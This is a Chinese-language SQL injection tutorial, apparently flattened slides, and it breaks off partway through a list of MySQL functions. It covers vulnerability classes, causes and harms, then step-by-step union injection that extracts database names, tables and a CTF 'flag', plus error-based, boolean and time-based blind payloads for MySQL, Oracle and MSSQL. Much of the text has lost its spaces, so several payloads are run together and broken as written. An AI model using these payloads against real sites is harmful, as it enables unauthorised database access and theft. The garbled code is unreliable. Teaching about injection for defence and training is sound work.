Web安全那些事如何去渗透攻击一个网站或者系统?操作系统:Linux、Windows存储:数据库存储、文件存储、内存存储WEB容器:IIS、Apache、nginx、tomcat、weblogic、jbossWEB开发框架:Thinkphp、Django、spring、struts2、railsWEB应用:BBS、Blog、CMS对象WEB开发语言:php、python、java、net、asp、go、ruby一个业务系统包含哪些场景?常见的安全漏洞漏洞有哪些?SQL注入漏洞XSS跨站脚本漏洞CSRF客户端请求伪造漏洞文件上传漏洞权限类漏洞逻辑漏洞SSRF服务器端请求伪造漏洞文件包含漏洞命令执行漏洞文件泄漏漏洞源码泄漏Json劫持、XML实体注入、反序列化等SQL注入漏洞静态网页:html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。1.不依赖数据库2.灵活性差,制作、更新、维护麻烦3.交互性交差,在功能方面有较大的限制4.安全,不存在SQL注入漏洞动态网页:asp、aspx、php、jsp、do、action等等,由相应的脚本引擎来解释执行,根据指令生成静态网页。1.依赖数据库2.灵活性好,维护简便3.交互性好,功能强大4.存在安全风险,可能存在SQL注入漏洞图像、语音、文字等数据(Data)•在计算机系统中,各种字母、数字符号的组合、语音、图形、图像等统称为数据。Access、MSSQL、Oracle、SQLITE、MySQL等数据库(Database)•数据库是按照数据结构来组织、存储和管理数据的“仓库”。Access、MSSQL、Oracle、SQLITE、MySQL等数据库管理系统(DBMS)•数据库管理系统(databasemanagementsystem)是一种操纵和管理数据库的软件,用于建立、使用和维护数据库。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性。DQL、DDL、DML、TCL、DCL结构化查询语言(SQL)•结构化查询语言(StructuredQueryLanguage)简称SQL,结构化查询语言是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。由于程序中对用户输入检查不严格,用户可以提交一段数据库SQL查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。其成因可以归结为以下两个原因叠加造成的:(1).程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造SQL语句(2).未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。其实就是数据与代码未严格分离;用户提交的参数数据未做充分检查过滤即被代入到SQL命令中,改变了原有SQL命令的“语义”,且成功被数据库执行。客户端数据库脚本引擎用户想要查看ID为1024的订单请求返回=1024请求返回获取参数ID的值为1024,动态构造SQL语句:Select*fromorderwhereorderbyid=1024,向数据库发起查询请求在order表中查询orderbyid为1024的所有记录返回查询到的所有记录处理返回的所有记录,如过滤和编码特殊字符等,生成静态网页并返回给客户端将网站返回的网页展示给用户SQL注入的危害:这些危害包括但不局限于:A.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。B.网页篡改:通过操作数据库对特定网页进行篡改。C.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。D.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。E.服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。F.破坏硬盘数据,瘫痪全系统。一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。SQL注入原理拼接GET请求参数id直接拼接在SQL语句中未经过任何过滤或处理如何发现SQL注入漏洞‘and‘1’=‘1ORand’1’=‘2and1=1ORand1=2andsleep(5)’–-SQLServer、Oracle注释可以用--Mysql注入可以用#、--/**/、;%00、/*letmetest*/SQL注入有哪些类型?按数据类型字符型(String)数字型(Integer)按返回类型显错注入(ERROR-BASE)盲注(Boolean/Time-Base-Blind)要学习union注入,首先要了解union联合查询,联合查询可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNIONALL。unionall加orderby是最方便、快捷的注入方式。step1:判断是否存在注入漏洞:=1+and+1=1正确=1+and+1=2错误说明存在注入漏洞,如图:union注入示例step2:判断有多少个字段:=1+order+by+4错误=1+order+by+3正确step3:已知有4个字段,那么我们构造查询语句:=1+union+select+1,2,3我们可以看到新增了一个table表,里边爆出了显示位,1,2,3那么我们就可以在我们的显示位对应的字段输入查询语句注:如果没有爆出显示位,SQL查询语句可以这么写1.=-1+union+select+1,2,32.=1+and+1=2+union+select+1,2,3step4:查询基本信息=1+union+all+select+1,2,(concat(0x3a,user(),0x3a,database(),0x3a,version(),0x3a,@@version_compile_os))通过查询,我们知道用户是root,数据库名字是datasource,数据库版本是5.1.73,操作系统是win64,既然是5.0以上,那么我们就可以利用information_schem数据库进行查询。step5:查询所有数据库=1+unionallselect1,2,group_concat(schema_name)+from+information_schema.schemata查询出来所有数据库,分别是infomation_schema,datasource,mysql,teststep6:查询所有表=1+unionallselect1,2,group_concat(table_name)+from+information_schema.tableswheretable_schema=database()查询到article,flag,user三个表,我们需要知道flag表中的数据,我们继续查询flag表中的字段和值step7:查询flag表所有字段=1+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=0x666C6167查询到字段只有一个flag,我们继续构造查询flag表的值step8:查询flag表中的数据=1+union+all+select+1,2,flag+from+flag+limit1,1查询出来flag的是:”ABCDisflag“报错注入的四种语句方式:#方式1and(select1from(selectcount(*),concat(SQL语句,floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);#方式2and(selectcount(*)from(select1unionselectnullunionselect!1)xgroupbyconcat(sql语句,floor(rand(0)*2)));#方式3andextractvalue(1,concat(0x5c,(SQL语句)));#方式4and1=(updatexml(1,concat(0x5e24,(SQL语句),0x5e24),1));基于报错的注入=1'and(select1from(selectcount(*),concat((selectversion()),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);%23报错注入的SQL查询语句和其他SQL查询语句是一样的,只不过是注入的闭合语句变了而已Boolean盲注是不能通过直接显示的途径来获取数据库数据的方法。在Boolean盲注中,攻击者根据其返回页面的不同来判断信息。基于布尔型的盲注mysql盲注常用函数substring、substr、left、right、length、ord、hex、unhexmssql盲注常用函数substring、ascii、len、existsoracle盲注常用函数substr、count、length、ascii、min盲注中的常用函数布尔型盲注示例基于时间的盲注是不能通过直接显示的途径来获取数据库数据的方法。在时间盲注中,攻击者根据其返回页面响应时间的不同来判断信息。mysqloraclemssqlandsleep(1)andsleep(2)oracle中有sleep函数,但是由于sleep的调用方式,不支持在select的where子句中调用DBMS_LOCK.SLEEP(5)WAITFORDELAY'hh:mm:ss'andBENCHMARK(100000000,rand())and1=(casewhen1=1thendbms_pipe.receive_message(CHR(97),5)else1end)基于时间的盲注如果1=1,sleep(5)=1'andif(1=1,sleep(5),0)%23如果1=2,返回0=1'andif(1=2,sleep(5),0)%23如果判断是否存在注入:查看网页的响应时间时间盲注案例Mysql注入常用函数version()——MySQL版本user()——